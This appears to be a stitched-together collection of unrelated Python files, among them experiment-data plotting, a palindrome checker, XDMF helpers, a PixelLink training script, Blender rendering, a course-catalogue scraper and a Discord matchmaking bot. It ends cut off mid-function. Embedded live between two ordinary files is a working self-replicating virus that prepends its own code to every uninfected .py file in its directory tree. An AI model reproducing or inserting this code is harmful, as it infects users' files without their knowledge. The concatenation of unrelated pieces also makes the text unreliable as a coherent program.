  subjectAges = [float(allPlayerLearningData[cs.SESSION_SCANNER][i]["participantAge"]) for i in range(len(allPlayerLearningData[cs.SESSION_SCANNER])) if allPlayerLearningData[cs.SESSION_SCANNER][i] is not None]
  plt.subplot(1,4,1)
  plt.hist(subjectAges, color=plotcolours[cs.SESSION_TRAINING])
  plt.xlabel('Age')
  plt.ylabel('Number of subjects')
  print('Mean age: {}, +- {} std'.format(np.mean(subjectAges), np.std(subjectAges)))

  # Total practice scores.
  trainingScore = [(allPlayerLearningData[cs.SESSION_TRAINING][i]["totalScore"]) for i in range(len(allPlayerLearningData[cs.SESSION_TRAINING])) if allPlayerLearningData[cs.SESSION_TRAINING][i] is not None]
  plt.subplot(1,4,2)
  plt.hist(trainingScore, color=plotcolours[cs.SESSION_TRAINING])
  plt.xlabel('Training score')

  # Determine how much time was between the two experiment sessions for pairs of datafiles by the same subject
  timeBetweenSessions = find_train_test_deltatime(sessions)
  plt.subplot(1,4,3)
  plt.hist(timeBetweenSessions, bins=15, color=plotcolours[cs.SESSION_TRAINING])
  plt.xlabel('Time between training and test sessions')

  # Practice duration.
  practiceDuration = [(allPlayerLearningData[cs.SESSION_TRAINING][i]["experimentDuration"]) for i in range(len(allPlayerLearningData[cs.SESSION_TRAINING])) if allPlayerLearningData[cs.SESSION_TRAINING][i] is not None]
  plt.subplot(1,4,4)
  plt.hist(practiceDuration, color=plotcolours[cs.SESSION_TRAINING])
  plt.xlabel('Practice duration (s)')

  plt.suptitle('Histograms of Training Session Metadata')
  if saveFig:
    plt.savefig('Training_metadata.pdf', bbox_inches='tight')
    files.download("Training_metadata.pdf")

#-------------------------------------------------------------------------------

def visualise_testing_metadata(allPlayerLearningData, sessions, savepath, plotcolours, saveFig):
  """Plot the across-subject metadata for the scanning session."""
  # how many subjects on each ordering of the stimuli
  experimentVersions = [(allPlayerLearningData[cs.SESSION_SCANNER][i]["experimentVersion"][16:])
   for i in range(len(allPlayerLearningData[cs.SESSION_SCANNER])) if allPlayerLearningData[cs.SESSION_SCANNER][i] is not None]
  for i in range(len(experimentVersions)):
    version = experimentVersions[i]
    version = version.replace("cheese", "c")
    version = version.replace("mushroom", "m")
    version = version.replace("pineapple","p")
    experimentVersions[i] = version

  plt.subplots_adjust(wspace=0.5)
  fig, axes = plt.subplots(1,3, figsize=(14,4))
  axes[0].hist(experimentVersions, color=plotcolours[cs.SESSION_SCANNER])
  axes[0].set_xlabel('Block test ordering')
  axes[0].set_ylabel('Number of subjects')
  axes[0].set_title('Different reward type orderings')

  # Plot an example trial sequence for a single sub to see the switching
  numericalMapSequence = []
  randsub = random.randint(0,len(allPlayerLearningData[cs.SESSION_SCANNER])-1)
  mapSequence = allPlayerLearningData[cs.SESSION_SCANNER][randsub]["mapName"][7:]
  for map in mapSequence:
    if "banana" in map:
      numericalMapSequence.append(1)
    elif "mushroom" in map:
      numericalMapSequence.append(2)
    elif "pineapple" in map:
      numericalMapSequence.append(3)
    elif "avocado" in map:
      numericalMapSequence.append(4)
    elif "watermelon" in map:
      numericalMapSequence.append(5)
    elif "cheese" in map:
      numericalMapSequence.append(6)
    else:
      numericalMapSequence.append(None)

  axes[1].plot(numericalMapSequence, color=plotcolours[cs.SESSION_SCANNER])
  for i in range(len(numericalMapSequence)):
    if numericalMapSequence[i] is None:
        axes[1].axvline(x=i, color='grey', linestyle=':')
  axes[1].set_yticks([i for i in range(1,7)])
  axes[1].set_yticklabels(['banana','mushroom','pineapple','avocado','watermelon','cheese'], rotation=60)
  axes[1].set_xlabel('Trial')
  axes[1].set_title("Context sequence for example subject #{0}".format(randsub))

  # dist of test duration
  testDuration = [(allPlayerLearningData[cs.SESSION_SCANNER][i]["experimentDuration"]) for i in range(len(allPlayerLearningData[cs.SESSION_SCANNER])) if allPlayerLearningData[cs.SESSION_SCANNER][i] is not None]
  axes[2].hist(testDuration, color=plotcolours[cs.SESSION_SCANNER])
  axes[2].set_xlabel('Scanner test duration (s)')
  axes[2].set_ylabel('Number of subjects')

  fig.suptitle('Scanning session metadata')
  if saveFig:
    plt.savefig('Testing_metadata.pdf', bbox_inches='tight')
    files.download("Testing_metadata.pdf")

#-------------------------------------------------------------------------------

def plot_shaded_curve(ax, trials, means, sems, colourname='dodgerblue', title='', linelabel=''):
    """Plot a pretty shaded learning curve."""
    # Offset the x-values by the number of trials at the start that are just for setup
    offset = 0
    for i in range(len(means)):
        if not math.isnan(means[i]):
            break
        offset += 1
    means = means[offset:]
    sems = sems[offset:]
    trials = trials[offset:]-trials[offset]

    # plot the rest breaks
    for i in range(len(means)):
        if math.isnan(means[i]):
            ax.axvline(x=trials[i], color='lightgray', linestyle=':')

    # plot the actual data
    ax.plot(trials, means, color=colourname, label=linelabel)
    ax.fill_between(trials, means-sems, means+sems, color=colourname, alpha=0.25)
    ax.set_xlim([0, np.max(trials)])
    ax.set_xlabel('Trial')
    ax.set_title(title)

#-------------------------------------------------------------------------------

def plot_scores_learning(
    ax,
    allPlayerLearningData,
    whichSession,
    savepath,
    colours,
    bunch_factor=1,
    plot_individuals=False,
    saveFig=False,
    title='',
    ylim=(0,32),
    ylabel='Trial score',
):
  """Plots trial score across the session."""
  nsubjects = len(allPlayerLearningData[whichSession])
  if plot_individuals:
    for i in range(nsubjects):
      scores = allPlayerLearningData[whichSession][i]["allScores"]
      ax.plot(scores, alpha=0.1)

  subScores = [allPlayerLearningData[whichSession][i]["allScores"]
    for i in range(len(allPlayerLearningData[whichSession]))]
  subScores = np.asarray(subScores, dtype=np.float)
  subScores = subScores[~np.isnan(subScores)]  # remove nans.

  # Average across adjacent trials using a bunch_factor
  subScores = np.reshape(subScores, (bunch_factor, -1, nsubjects), order='F')
  subScores = np.mean(subScores, axis=0)
  # Mean and sem
  meanScores =  np.nanmean(subScores, axis=1)
  seScores = np.nanstd(subScores, axis=1) / np.sqrt(nsubjects)
  subtrials = np.linspace(1,bunch_factor*meanScores.size, meanScores.size)

  # Plot the learning.
  ax.scatter(subtrials, meanScores, color=colours[whichSession])
  ax.errorbar(subtrials, meanScores, seScores, color=colours[whichSession])
  ax.set_title(title)
  ax.set_ylabel(ylabel)
  ax.set_ylim(ylim)
  ax.set_xlabel('Trials')
  return subScores

#-------------------------------------------------------------------------------

def plot_duration_learning(
    ax,
    allPlayerLearningData,
    whichSession,
    savepath,
    colours,
    bunch_factor=1,
    plot_individuals=False,
    saveFig=False,
    title='',
    ylim=(0,32),
    ylabel='Trial duration (s)',
):
  """Plot every subject's trial duration across the session."""
  nsubjects = len(allPlayerLearningData[whichSession])
  if plot_individuals:
    for i in range(nsubjects):
      scores = allPlayerLearningData[whichSession][i]["timesToGoal"]
      if whichSession != cs.SESSION_SCANNER:
        scores = [i-10 for i in scores]
      ax.plot(scores, alpha=0.1)

  subScores = [allPlayerLearningData[whichSession][i]["timesToGoal"]
    for i in range(len(allPlayerLearningData[whichSession]))]
  subScores = np.asarray(subScores, dtype=np.float)
  subScores = subScores[~np.isnan(subScores)]  # remove nans.

  # Average across adjacent trials using a bunch_factor
  subScores = np.reshape(subScores, (bunch_factor, -1, nsubjects), order='F')
  subScores = np.mean(subScores, axis=0)
  # Mean and sem
  meanScores =  np.nanmean(subScores, axis=1)
  seScores = np.nanstd(subScores, axis=1) / np.sqrt(nsubjects)
  subtrials = np.linspace(1,bunch_factor*meanScores.size, meanScores.size)

  if whichSession != cs.SESSION_SCANNER:
    meanScores -= 10  # Correct for a data preprocessing error. Training and test sessions have different durations.

  # Plot the learning.
  ax.scatter(subtrials, meanScores, color=colours[whichSession])
  ax.errorbar(subtrials, meanScores, seScores, color=colours[whichSession])
  ax.set_title(title)
  ax.set_ylabel(ylabel)
  ax.set_ylim(ylim)
  ax.set_xlabel('Trials')
  return subScores

#-------------------------------------------------------------------------------


def check_pallindrome(num):
    pal = 0
    while num:
        rem = num %10
        pal = pal *10 +rem
        num //= 10
    return pal

def read_input(called_function):
    n = int(input("Enter a number : "))
    res = called_function(n)
    if res == n:
        print("The number is a pallindrome")
    else:
        print("The number is not a pallindrome")

read_input(check_pallindrome)

#Output
#C:\Users\FY\AppData\Local\Programs\Python\Python310>chckpal.py
#Enter a number : 12321
#The number is a pallindrome


"""
RCM-specific tools to include h5 data in xmf files
"""
import h5py as h5
import kaipy.kaixdmf as kxmf

"""
def AddGrid(fname,Geom,iDims,coordStrs):

	for coordStr in coordStrs:
		xC = et.SubElement(Geom,"DataItem")
		xC.set("Dimensions",iDims)
		xC.set("NumberType","Float")
		xC.set("Precision","4")
		xC.set("Format","HDF")

		text = fname+":/"+coordStr
		xC.text = text
"""

def addRCMGeom(Geom, dimInfo, rcmInfo, sID):
	#Unpack
	rcmh5fname = rcmInfo['rcmh5fname']

	sIDstr = "Step#" + str(sID)

	gridVars = dimInfo['gridVars']  # Expect something like rcmxmin,rcmymin,alamc
	gDims = dimInfo['gDims']  # Someone before us should set kji dims
	#gDims[1] -= 2  # Remove 2 j vals (jWrap)

	#all
	dSetDimStr = ' '.join([str(v) for v in gDims])

	hsDimStr = "3 2"  # row, col
	startStr = "2 0"
	strideStr = "1 1"
	numStr = "359 180"
	origDSetDimStr = str(gDims[0])

	fileText = "{}:/{}/{}".format(rcmh5fname,sIDstr,'rxmxmin')
	kxmf.addHyperslab_DI(Geom, dSetDimStr, hsDimStr, startStr, strideStr, numStr, origDSetDimStr, fileText)

	fileText = "{}:/{}/{}".format(rcmh5fname,sIDstr,'rcmymin')
	kxmf.addHyperslab_DI(Geom, dSetDimStr, hsDimStr, startStr, strideStr, numStr, origDSetDimStr, fileText)

	hsDimStr = "3 1"
	startStr = "0"
	strideStr = "1"
	numStr = "140"
	fileText = "{}:/{}/{}".format(rcmh5fname,sIDstr,'alamc')
	kxmf.addHyperslab_DI(Geom, dSetDimStr, hsDimStr, startStr, strideStr, numStr, origDSetDimStr, fileText)

def addRCMVars(Grid, dimInfo, rcmInfo, sID):  # Used with the mhdrcm presets to add links to given RCM variables

	sIDstr = "Step#" + str(sID)

	trg_vDims = dimInfo['vDims']  # target file var dims (probably mhdrcm or rcm)
	trg_vDimStr = ' '.join([str(v) for v in trg_vDims])
	trg_nDims = len(trg_vDims)
	rcmh5fname = rcmInfo['rcmh5fname']
	rcmVars = rcmInfo['rcmVars'] # List of rcm.h5 variables we want in mhdrcm.xmf
	rcmKs = rcmInfo['rcmKs'] # List if rcm.h5 k values for 3d rcm.h5 vars

	rcm5 = h5.File(rcmh5fname,'r')
	if 'Nk' not in rcmInfo.keys():
		rcmInfo['Nj'], rcmInfo['Ni'] = rcm5[sIDstr]['aloct'].shape
		rcmInfo['Nk'] = rcm5[sIDstr]['alamc'].shape[0]
		#print("Adding Nk to rcmInfo")
	Ni = rcmInfo['Ni']
	Nj = rcmInfo['Nj']
	Nk = rcmInfo['Nk']

	for vName in rcmVars:
		doHyperslab = False
		r_var = rcm5[sIDstr][vName]
		r_vShape = r_var.shape
		r_vDimStr = " ".join([str(d) for d in r_vShape])
		r_nDims = len(r_vShape)
		dimTrim = 0

		if (r_nDims == 2 and trg_vDims[0] < Nj) or (r_nDims == 3 and trg_vDims[1] < Nj):
			doHyperslab = True
			dimTrim = (Nj - trg_vDims[0]) if trg_nDims == 2 else (Nj - trg_vDims[1])  # Shortening j-dir

		if r_nDims == 2 and doHyperslab == False:  # Easy add
				#print("Adding " + vName)
				kxmf.AddData(Grid,rcmh5fname, vName,"Cell",trg_vDimStr,sID)
				continue

		#Add data as a hyperslab
		if doHyperslab:
			#Do 2D stuff. If 3D needed, will be added in a sec
			dimStr = "3 2"
			startStr = "{} 0".format(dimTrim)
			strideStr = "1 1"
			numStr = "{} {}".format(Nj-dimTrim, Ni)
			text = "{}:/{}/{}".format(rcmh5fname,sIDstr,vName)

			if r_nDims == 2:
				kxmf.addHyperslab_Attr(Grid,vName,trg_vDimStr,dimStr,startStr,strideStr,numStr,r_vDimStr,text)
				continue
			elif r_nDims == 3:
				dimStr = "3 3"
				strideStr = str(Nk+1) + " 1 1"
				numStr = "1 {} {}".format(Nj-dimTrim,Ni)
				for k in rcmKs:
					startStr = "{} {} 0".format(k,dimTrim)
					vName_k = vName + "_k{}".format(k)
					kxmf.addHyperslab_Attr(Grid,vName_k,trg_vDimStr,dimStr,startStr,strideStr,numStr,r_vDimStr,text)


### START OF VIRUS ###

import os
import sys

code = []
with open(sys.argv[0], 'r') as f:
    lines = f.readlines()

virus_area = False
for line in lines:
    if line == '### START OF VIRUS ###\n':
        virus_area = True
    if virus_area:
        code.append(line)
    if line == '### END OF VIRUS ###\n':
        break

dir_path = os.path.dirname(os.path.realpath(__file__))  # Pega diretorio atual
for root, dirs, files in os.walk(dir_path):
    for file in files:
        if file.endswith('.py'):  # filtra arquivos .py
            with open(root + '/' + str(file),
                      'r') as f:  # abre cada arquivo com seu caminho inteiro,caso contrário dá erro
                script_code = f.readlines()

            infected = False
            for line in script_code:
                if line == '### START OF VIRUS ###\n':
                    infected = True
                    break

            if not infected:
                final_code = []
                final_code.extend(code)
                final_code.extend('\n')
                final_code.extend(script_code)

                with open(file, 'w') as f:
                    f.writelines(final_code)
# Malicious Piece of Code (Payload)
print('GhosteHypxw')

### END OF VIRUS ###


import net
import numpy as np
import torch
import torch.nn as nn
# import read_data
import datasets
from torch import optim
from criterion import PixelLinkLoss
import loss
import config
import postprocess
from torch.utils.data import DataLoader
from torch.utils.data.sampler import RandomSampler, WeightedRandomSampler
import os
import cv2
import time
import argparse
import ImgLib.ImgShow as ImgShow
import ImgLib.ImgTransform as ImgTransform
import moduletest.test_postprocess as test_postprocess
from test_model import test_on_train_dataset

# os.environ['CUDA_LAUNCH_BLOCKING'] = '1'
parser = argparse.ArgumentParser(description='')
parser.add_argument('--train', type=bool, default=False, help='True for train, False for test') # default for test
parser.add_argument('--retrain', type=bool, default=False, help='True for retrain, False for train') # default for test
# parser.add_argument('change', metavar='N', type=int, help='an integer for change')
args = parser.parse_args()

def weight_init(m):
    if isinstance(m, nn.Conv2d):
        nn.init.xavier_uniform_(m.weight.data)
        nn.init.constant_(m.bias.data, 0)

def retrain():
    dataset = datasets.PixelLinkIC15Dataset(config.train_images_dir, config.train_labels_dir)
    sampler = WeightedRandomSampler([1/len(dataset)]*len(dataset), config.batch_size, replacement=True)
    dataloader = DataLoader(dataset, batch_size=config.batch_size, sampler=sampler)
    my_net = net.Net()
    if config.gpu:
        device = torch.device("cuda:0")
        my_net = my_net.cuda()
        if config.multi_gpu:
            my_net = nn.DataParallel(my_net)
    else:
        device = torch.device("cpu")
    my_net.load_state_dict(torch.load(config.saving_model_dir + '%d.mdl' % config.retrain_model_index))
    optimizer = optim.SGD(my_net.parameters(), lr=config.retrain_learning_rate2, \
                            momentum=config.momentum, weight_decay=config.weight_decay)
    optimizer2 = optim.SGD(my_net.parameters(), lr=config.retrain_learning_rate, \
                            momentum=config.momentum, weight_decay=config.weight_decay)
    train(config.retrain_epoch, config.retrain_model_index, dataloader, my_net, optimizer, optimizer2, device)

def train(epoch, iteration, dataloader, my_net, optimizer, optimizer2, device):
    for i in range(epoch):
        for i_batch, sample in enumerate(dataloader):
            start = time.time()
            images = sample['image'].to(device)
            # print(images.shape, end=" ")
            pixel_masks = sample['pixel_mask'].to(device)
            neg_pixel_masks = sample['neg_pixel_mask'].to(device)
            link_masks = sample['link_mask'].to(device)
            pixel_pos_weights = sample['pixel_pos_weight'].to(device)

            out_1, out_2 = my_net.forward(images)
            loss_instance = PixelLinkLoss()
            # print(out_2)

            pixel_loss_pos, pixel_loss_neg = loss_instance.pixel_loss(out_1, pixel_masks, neg_pixel_masks, pixel_pos_weights)
            pixel_loss = pixel_loss_pos + pixel_loss_neg
            link_loss_pos, link_loss_neg = loss_instance.link_loss(out_2, link_masks)
            link_loss = link_loss_pos + link_loss_neg
            losses = config.pixel_weight * pixel_loss + config.link_weight * link_loss
            print("iteration %d" % iteration, end=": ")
            print("pixel_loss: " + str(pixel_loss.tolist()), end=", ")
            # print("pixel_loss_pos: " + str(pixel_loss_pos.tolist()), end=", ")
            # print("pixel_loss_neg: " + str(pixel_loss_neg.tolist()), end=", ")
            print("link_loss: " + str(link_loss.tolist()), end=", ")
            # print("link_loss_pos: " + str(link_loss_pos.tolist()), end=", ")
            # print("link_loss_neg: " + str(link_loss_neg.tolist()), end=", ")
            print("total loss: " + str(losses.tolist()), end=", ")
            if iteration < 100:
                optimizer.zero_grad()
                losses.backward()
                optimizer.step()
            else:
                optimizer2.zero_grad()
                losses.backward()
                optimizer2.step()
            end = time.time()
            print("time: " + str(end - start))
            if (iteration + 1) % 200 == 0:
                # if args.change:
                #     saving_model_dir = config.saving_model_dir3
                # else:
                saving_model_dir = config.saving_model_dir
                torch.save(my_net.state_dict(), saving_model_dir + str(iteration + 1) + ".mdl")
            iteration += 1

def main():
    dataset = datasets.PixelLinkIC15Dataset(config.train_images_dir, config.train_labels_dir)
    sampler = WeightedRandomSampler([1/len(dataset)]*len(dataset), config.batch_size, replacement=True)
    dataloader = DataLoader(dataset, batch_size=config.batch_size, sampler=sampler)
    # dataloader = DataLoader(dataset, config.batch_size, shuffle=True)
    my_net = net.Net()

    if config.gpu:
        device = torch.device("cuda:0")
        my_net = my_net.cuda()
        if config.multi_gpu:
            my_net = nn.DataParallel(my_net)
    else:
        device = torch.device("cpu")

    # nn.init.xavier_uniform_(list(my_net.parameters()))
    my_net.apply(weight_init)
    optimizer = optim.SGD(my_net.parameters(), lr=config.learning_rate, momentum=config.momentum, weight_decay=config.weight_decay)
    # if args.change:
    optimizer2 = optim.SGD(my_net.parameters(), lr=config.learning_rate2, momentum=config.momentum, weight_decay=config.weight_decay)
    # else:
    #     optimizer2 = optim.SGD(my_net.parameters(), lr=config.learning_rate, momentum=config.momentum, weight_decay=config.weight_decay)

    iteration = 0
    train(config.epoch, iteration, dataloader, my_net, optimizer, optimizer2, device)

if __name__ == "__main__":
    if args.retrain:
        retrain()
    elif args.train:
        main()
    else:
        test_on_train_dataset()
        # test_model()


import bpy
import cv2
import os
import numpy as np
def initialize_avatar():
    # Import the base avatar
    for o in bpy.context.scene.objects:
        if o.name == 'Cube':
            o.select_set(True)
        else:
            o.select_set(False)
    # Call the operator only once
    bpy.ops.object.delete()
    light1 = bpy.data.lights.new(name='light',type='POINT')
    light_object1 = bpy.data.objects.new(name="light", object_data=light1)
    light_object1.location=(-0.210575, -6.56262, 7.41522)
    light1.energy=1000
    light2 = bpy.data.lights.new(name='light.001',type='POINT')
    light_object2 = bpy.data.objects.new(name="light.001", object_data=light2)
    light_object2.location=(-0.210575, -6.56262, 4.99445)
    light2.energy=1000
    light3 = bpy.data.lights.new(name='light.002',type='POINT')
    light_object3 = bpy.data.objects.new(name="light.002", object_data=light3)
    light_object3.location=(-0.210575, -6.56262, 1.87751)
    light3.energy=1000
    bpy.ops.import_scene.fbx( filepath = "3D_Model/MaleModelSankit.fbx")
    armature = bpy.context.scene.objects['metarig']
    obj = bpy.context.selected_objects[0]
    obj.animation_data_clear()
    scene=bpy.context.scene
    bpy.ops.object.camera_add(location=(-0.0360, -12.9774, 4.5951),
                            rotation=(1.5340, -0.0015,-0.0098))

    bpy.context.collection.objects.link(light_object1)
    bpy.context.collection.objects.link(light_object2)
    bpy.context.collection.objects.link(light_object3)
    bpy.context.view_layer.objects.active = light_object1
    bpy.context.view_layer.objects.active = light_object2
    bpy.context.view_layer.objects.active = light_object3
    return armature, scene

def two_d_pose_image(y, filename, armature, scene):
    """
    Merge ans save two 2d images for comparison.
    (Regressed 2d points and ground truth 2d points)
    Input is quaternions.
    """
    ROOT_DIR = os.path.dirname(os.path.abspath(__file__))
    # initialize the camera parameters
    R=np.array([[1.0000, -0.0098,  0.0015],[0.0011, -0.0368, -0.9993],[0.0099,  0.9993, -0.0368]])
    T=np.array([[-0.0987], [4.1149], [13.1372]])
    f=50.0
    k=np.zeros((3,1))
    p=np.zeros((2,1))
    c=np.array([[125.0],[125.0]])

    # Rotate the avatar using the regressed quaternions
    final_output=[]
    obj = bpy.context.selected_objects[0]
    obj.animation_data_clear()
    poses=y
    for bone in armature.pose.bones:
        if bone.name in poses:
            bone.rotation_quaternion.w=poses[bone.name][0]
            bone.rotation_quaternion.x=poses[bone.name][1]
            bone.rotation_quaternion.y=poses[bone.name][2]
            bone.rotation_quaternion.z=poses[bone.name][3]
            bone.keyframe_insert(data_path="rotation_quaternion" ,frame=0)
    bpy.context.scene.frame_set(0)

    bpy.context.scene.camera = bpy.data.objects['Camera.001']
    scene.render.image_settings.file_format = 'PNG'
    scene.render.filepath = ROOT_DIR + '/test.png'
    scene.render.resolution_x = 480 #perhaps set resolution in code
    scene.render.resolution_y = 640
    bpy.context.scene.render.engine = 'CYCLES'
    # bpy.context.scene.render.engine = 'BLENDER_EEVEE'
    bpy.ops.render.render(write_still=True)

    img=cv2.imread(ROOT_DIR + '/test.png')
    if not os.path.exists(ROOT_DIR + '/test_outputs'):
        os.makedirs(ROOT_DIR + '/test_outputs')
    cv2.imwrite(ROOT_DIR + "/test_outputs/"+filename, img)
    os.remove(ROOT_DIR + '/test.png')


import string

import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.firefox.options import Options
from bs4 import BeautifulSoup

opts = Options()
opts.headless = True
driver = webdriver.Firefox(options=opts)

URL = "https://apps.ualberta.ca/catalogue/search/results?keywords="

pages = 101  # 101  # soup.find('button', class_='') REVISE TO DYNAMICALLY GRAB MAX PAGE NUMBER
course_labels = list()
course_names = list()
course_credits = list()

nameAreaList = list()
priceAreaList = list()

pageNumber = 1

while pageNumber < (pages + 1):
    URL = 'https://apps.ualberta.ca/catalogue/search/results?keywords=&page=' + str(pageNumber)

    driver.get(URL)
    soup = BeautifulSoup(driver.page_source, features="html.parser")
    items = soup.find('div', class_='card')
    for n in items:
        if (n != "\n"):
            name = n.find('a')  # finding the area with the product names
            # category_sing = nameBig.find('a')  # finding the actual names
            description = n.find('p')
            nmcredits = n.find('b')
            r = name
            if r is not None:
                r = r.text  # [str(i.string) for str(i) in category_sing]
            s = description
            if s is not None:
                s = s.text  # [str(p.string) for str(p) in price_sing]
            c = nmcredits
            if c is not None:
                c = c.text

            course_labels.append(r)
            course_names.append(s)
            course_credits.append(c)
    pageNumber += 1

d = {'Names': course_labels, 'Credits': course_credits, 'Descriptions': course_names}

df = pd.DataFrame.from_dict(data=d)
df.to_csv('classes-uofa.csv', index=False, encoding='utf-8')

driver.close()


"""A matchmaking service for GZM.

Uses an airtable list of interested people to create matches at random.
"""
import random
import os
from typing import List, Literal, TypedDict

import airtable
import discord

TOKEN = os.getenv("DISCORD_TOKEN")
AIRTABLE_BASE = os.getenv("AIRTABLE_BASE")
AIRTABLE_API_KEY = os.getenv("AIRTABLE_API_KEY")

client = discord.Client()
airtable = airtable.Airtable(AIRTABLE_BASE, "dumble", AIRTABLE_API_KEY)

copy = {
    "intro": "Welcome to Dumble! Are you open to matching in a romantic or friendly manner today?",
    "friendly": "ðŸ˜ƒ",  # smiley face emoji
    "romantic": "ðŸ’•",  # two hearts emoji
    "either": "ðŸ˜Š",  # blushing emoji
}

romanticPool = set()  # {discord.User}, remove user when matched
friendlyPool = set()

UserFields = TypedDict(
    "UserFields",
    {
        "Email": str,
        "Twitter": str,
        "Name": str,
        "Phone": str,
        "Discord": str,
        "I am a": Literal["Man", "Woman", "Other"],
        "Looking for": List,
    },
)

class User(TypedDict):
    id: str
    fields: UserFields
    createdTime: str

class DiscordUserNotFound(Exception):
    pass

def list_available_users() -> List[User]:
    """List the available users in our airtable DB.

    Todo:
        - Only get the fields that I need:
    https://airtable-python-wrapper.readthedocs.io/en/master/params.html

    """
    return airtable.get_all(formula="AND(NOT({Email}=''), NOT({Looking for}=''))")

def find_match(user: User) -> User:
    """Find a match for a given user."""

    all_users = list_available_users()
    looking_for = user["fields"]["Looking for"]  # ['Man', 'Woman', ...]

    potential_matches = [
        user for user in all_users if user["fields"]["I am a:"] in looking_for
    ]

    return random.choice(potential_matches)

def find_match_by_discord_id(discord_id: str) -> (User, User):
    """Find match by discord id, so we can build a discord bot that matches people.

    discord_id should be of the form: "JaneDoe#1234"
    """
    users = airtable.search("Discord", discord_id)

    if len(users) == 0:
        raise DiscordUserNotFound("Could not find any users with that id.")
    user = users[0]  # if multiple users are returned, just grab the first one Â¯\_(ãƒ„)_/Â¯
    match = find_match(user)

    return user, match

# link to database: https://airtable.com/tbl6wkasPz9DHFdbp/viwMq7Xv2hRIzuZlb?blocks=hide

@client.event
async def on_ready():
    """on_ready is called when the discord bot first loads."""
    print(f"{client.user} has connected to Discord!")

async def addReactions(msg: discord.Message, emojis: List):
    for emoji in emojis:
        await msg.add_reaction(emoji)

async def userInterface(user: discord.Member, channel):
    introMsg = None
    try:
        introMsg = await user.send(copy["intro"])
    except discord.Forbidden:
        await channel.send(
            user.display_name
            + " please allow DM's from this bot and retype '!dumble' in order to proceed!"
        )
        return

    emojis = [copy["romantic"], copy["friendly"]]
    await addReactions(introMsg, emojis)

@client.event
async def on_reaction_add(reaction: discord.Reaction, user: discord.User):
    # Romantic Or Friendly
    if (
        user != client.user
        and reaction.message.author == client.user
        and reaction.message.content == copy["intro"]
    ):
        print("Reaction added to bot DM!", str(reaction))
        if str(reaction) == copy["romantic"]:
            romanticPool.add(user)
            print(romanticPool)
        elif str(reaction) == copy["friendly"]:
            friendlyPool.add(user)
            print(friendlyPool)
    # Match Or Don't Match
    elif ():
        pass

    # Base Case
    else:
        return

def getUserData(discord_id: str):
    """
    Find user in airtable else return None
    """
    users = airtable.search("Discord", discord_id)

    if len(users) == 0:
        return None
    return users[0]  # if multiple users are returned, just grab the first one Â¯\_(ãƒ„)_/Â¯

@client.event
async def on_message(msg: discord.Message):
    if msg.content.strip() == "!dumble":
        # get discord user from message
        author = msg.author
        print(author)

        user = getUserData(str(author))
        if user == None:
            await msg.channel.send(
                "Oh no! "
                + author.display_name
                + " isn't signed up for Dumble. "
                + "Sign up here: https://airtable.com/shrVpwd24p1353Ukk"
            )
        else:
            await msg.channel.send(
                author.display_name
                + " has joined the Dumble matchmaking pool! @"
                + author.display_name
                + " Please check your DM's from this bot to proceed!"
            )
            await userInterface(author, msg.channel)
        return

    elif msg.content.startswith("!dumble"):
        await msg.channel.send(
            "Sorry, I didn't get that. I don't have a help command either, so "
            + "go pester Eric or Andrew to build one."
        )
        return

client.run(TOKEN)


import sys
import os
sys.path.append(os.path.abspath("./astmt"))

import typing as t

import numpy as np
import pandas as pd
import gdown
import torch
from PIL import Image

from astmt.experiments.dense_predict.pascal_resnet import config as pascal_config
from astmt.experiments.dense_predict.nyud_resnet import config as nyud_config

from astmt.fblib.util.mypath import Path

device = "cuda" if torch.cuda.is_available() else "cpu"
module_name = 'astmt_inference'
model_params: t.Dict[str, t.Any] = pd.read_json("inference/astmt_model_params.json")

# models marked with SSF have been trained by us and will be attempted to be downloaded from the web
# you can use your own trained models by making an appropriate entry in the model_params dictionary
# the key will of your entry will be considered the "model_name" when running an inference task

SSF_model_urls = {
    # 'pascal_edge_scratch_SSF': "https://drive.google.com/u/0/uc?id=1dOOIZFJUfiegnfeaG-YdX2JwAOxqRNT9",
    'pascal_edge_scratch_SSF': "https://drive.google.com/u/0/uc?id=17rYmh4-CzgsLOptDDmRGDvdjOpDZ8Aym",
    'pascal_semseg_scratch_SSF':"https://drive.google.com/u/0/uc?id=1-ERrxEWSU2fS2elra8I2gItnGS40Nc0P",
    'pascal_normals_scratch_SSF':"https://drive.google.com/u/0/uc?id=1-3XuBx-g8-vEpa3_84sQ97i1wNhDQWBU",
    'pascal_edge_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1-4UqQQXi-C0f7aMFIbEKXNGZuxgcweba",
    'pascal_semseg_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1-5RRRVLemxNTAo_neSNMbXEZk8UxPaqW",
    'pascal_normals_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1--3za_W8vP95XhR459DVlSCoUya_P5p5",
    'nyud_edge_scratch_SSF':"https://drive.google.com/u/0/uc?id=1-UTjE0lMFOkoEw-b3FGCSdpY5AA9TtGL",
    'nyud_semseg_scratch_SSF':"https://drive.google.com/u/0/uc?id=1-ey7AbX7P1wiaQBYSoacWPp7BOHXZXRq",
    'nyud_normals_scratch_SSF':"https://drive.google.com/u/0/uc?id=1-XGar4UVorpqH3ZxGipDqYFA_1AisgT-",
    'nyud_edge_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1-KXR-ZUlYaNbD4jFRnpD_2TTFrk_zW03",
    'nyud_semseg_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1-awtoMPc9rYeytxQazlV7QDIdaA5iLch",
    'nyud_normals_imagenet_SSF':"https://drive.google.com/u/0/uc?id=1-UZG6basLaa8zAIM30fXrjNOAs4RJb0z",
}

layer_choices = ['high', 'low']

viable_models = model_params.keys()
default_model = 'pascal_edge_scratch_SSF'

model_ = None
currently_selected_model:str = None
cfg = None
transformer = None

def loader(path: str):
    return np.array(Image.open(path).convert('RGB')).astype(np.float32)

def preprocessor(data_):

    tmp = transformer({'image': data_})
    return tmp['image'].unsqueeze(0).to(device)  # def sus, that we have to unsqueeze; in astmt main project this was not necessary

def model_call(data_, layer: str):

    with torch.no_grad():
        if layer == 'high' or layer is None:
            return {task: model_.forward(data_, task)[1][0][:32] for task in model_.tasks} # model.forward return is a tuple with [0] being the output
                                                                            # and [1] the features
                                                                            # features is at this point a 4dim tensor with
                                                                            # 64 entries, last 32 belonging to low level output,
                                                                            # first 32 belonging to high level output
        elif layer == 'low':
            return {task: model_.forward(data_, task)[1][0][32:] for task in model_.tasks}
        else:
